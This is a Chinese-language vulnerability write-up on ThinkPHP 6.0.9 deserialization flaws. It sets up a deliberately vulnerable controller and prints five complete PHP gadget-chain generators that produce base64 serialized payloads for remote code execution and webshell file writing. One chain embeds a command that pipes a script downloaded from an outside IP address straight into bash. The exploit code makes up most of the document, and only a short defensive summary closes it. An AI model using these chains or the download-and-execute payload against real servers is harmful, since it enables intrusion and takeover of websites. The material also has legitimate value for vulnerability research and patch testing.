Thinkphp6.0.9反序列化复现及整合
字数 1586 2025-08-24 23:51:20
ThinkPHP 6.0.9 反序列化漏洞分析与利用
漏洞概述
ThinkPHP 6.0.9 存在多个反序列化漏洞利用链,攻击者可以通过构造特定的反序列化数据实现远程代码执行。本文详细分析这些漏洞链的利用原理和构造方法。
环境搭建
- 使用 Composer 安装 ThinkPHP 6.0.9:
composer create-project topthink/think tp6.0.9 --prefer-dist
- 创建测试控制器
app/controller/Index.php:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController {
public function index() {
if(isset($_POST['data'])) {
unserialize(base64_decode($_POST['data']));
} else {
highlight_file(__FILE__);
}
}
}
第一条利用链:Model->save() 链
漏洞分析
-
入口点:
vendor/topthink/think-orm/src/Model.php中的__destruct()方法 -
触发路径:
__destruct()→save()(当$this->lazySave为 true)save()→updateData()(当$this->exists为 true)updateData()→checkAllowFields()checkAllowFields()→db()db()→__toString()(通过$this->table可控)
-
关键条件:
$this->lazySave = true$this->exists = true$this->withEvent = false(绕过trigger()检查)$this->force = true(使getChangedData()返回可控数据)$this->data不为空
-
toString 利用:
Url::__toString()→build()build()→getDomainBind()(通过$this->route可控)Validate::__call()→is()→ 调用$this->type[$rule]中的方法- 最终调用
Php::display()执行任意代码
漏洞复现
<?php
namespace think {
use think\route\Url;
abstract class Model {
private $lazySave;
private $exists;
protected $withEvent;
protected $table;
private $data;
private $force;
public function __construct() {
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = new Url();
$this->force = true;
$this->data = ["1"];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
function __construct() { parent::__construct(); }
}
$b = new Pivot();
echo base64_encode(serialize($b));
}
namespace think\route {
use think\Middleware;
use think\Validate;
class Url {
protected $url;
protected $domain;
protected $app;
protected $route;
public function __construct() {
$this->url = 'a:';
$this->domain = "<?php system('whoami');?>";
$this->app = new Middleware();
$this->route = new Validate();
}
}
}
namespace think {
use think\view\driver\Php;
class Validate {
public function __construct() {
$this->type['getDomainBind'] = [new Php(), 'display'];
}
}
class Middleware {
public function __construct() {
$this->request = "2333";
}
}
}
namespace think\view\driver {
class Php {
public function __construct() {}
}
}
第二条利用链:CacheStore->save() 链
漏洞分析
-
入口点:
vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php中的__destruct() -
触发路径:
__destruct()→save()(当$this->autosave为 false)CacheStore::save()→File::set()File::set()→getCacheKey()getCacheKey()→__toString()(通过$this->options['path']可控)
-
关键条件:
$this->autosave = false$this->store设置为File实例$this->options['path']设置为Url实例$this->options['hash_type']不为空
漏洞复现
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave;
public function __construct() {
$this->autosave = false;
}
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache {
protected $store;
protected $expire;
protected $key;
public function __construct() {
$this->store = new File();
$this->expire = 1;
$this->key = '1';
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
use think\route\Url;
abstract class Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => new Url(),
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver {}
}
// Url、Validate、Middleware、Php 类定义与第一条链相同
其他利用链
第三条链:直接命令执行
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $complete = "`curl 47.93.248.221|bash`";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache {
protected $store;
protected $key = "1";
public function __construct() {
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver {}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => true,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['system'],
];
}
}
第四条链:Base64 解码写入文件
<?php
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $complete = "aaaPD9waHAgcGhwaW5mbygpOz8+";
}
}
namespace think\filesystem {
use League\Flysystem\Cached\Storage\AbstractCache;
use think\cache\driver\File;
class CacheStore extends AbstractCache {
protected $store;
protected $key = "1";
public function __construct() {
$this->store = new File();
}
}
echo base64_encode(serialize(new CacheStore()));
}
namespace think\cache {
abstract class Driver {}
}
namespace think\cache\driver {
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 1,
'cache_subdir' => false,
'prefix' => false,
'path' => 'php://filter/write=convert.base64-decode/resource=',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize' => ['trim']
];
}
}
第五条链:文件写入
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache {
protected $adapter;
protected $file;
public function __construct($obj) {
$this->adapter = $obj;
$this->file = 'DawnT0wn.php';
}
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter {}
namespace League\Flysystem\Adapter;
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter {
public function has($path) {}
public function write($path, $contents, Config $config) {}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));
总结
- ThinkPHP 6.0.9 存在多个反序列化漏洞利用链
- 主要利用点包括:
- Model 类的
__destruct()和save()方法 - CacheStore 类的
save()方法 - Url 类的
__toString()方法 - Validate 类的
__call()方法
- Model 类的
- 攻击者可实现:
- 直接命令执行
- 文件写入
- 通过 PHP 过滤器写入文件
- 防御建议:
- 升级到最新版本
- 避免反序列化用户可控数据
- 使用安全的反序列化方法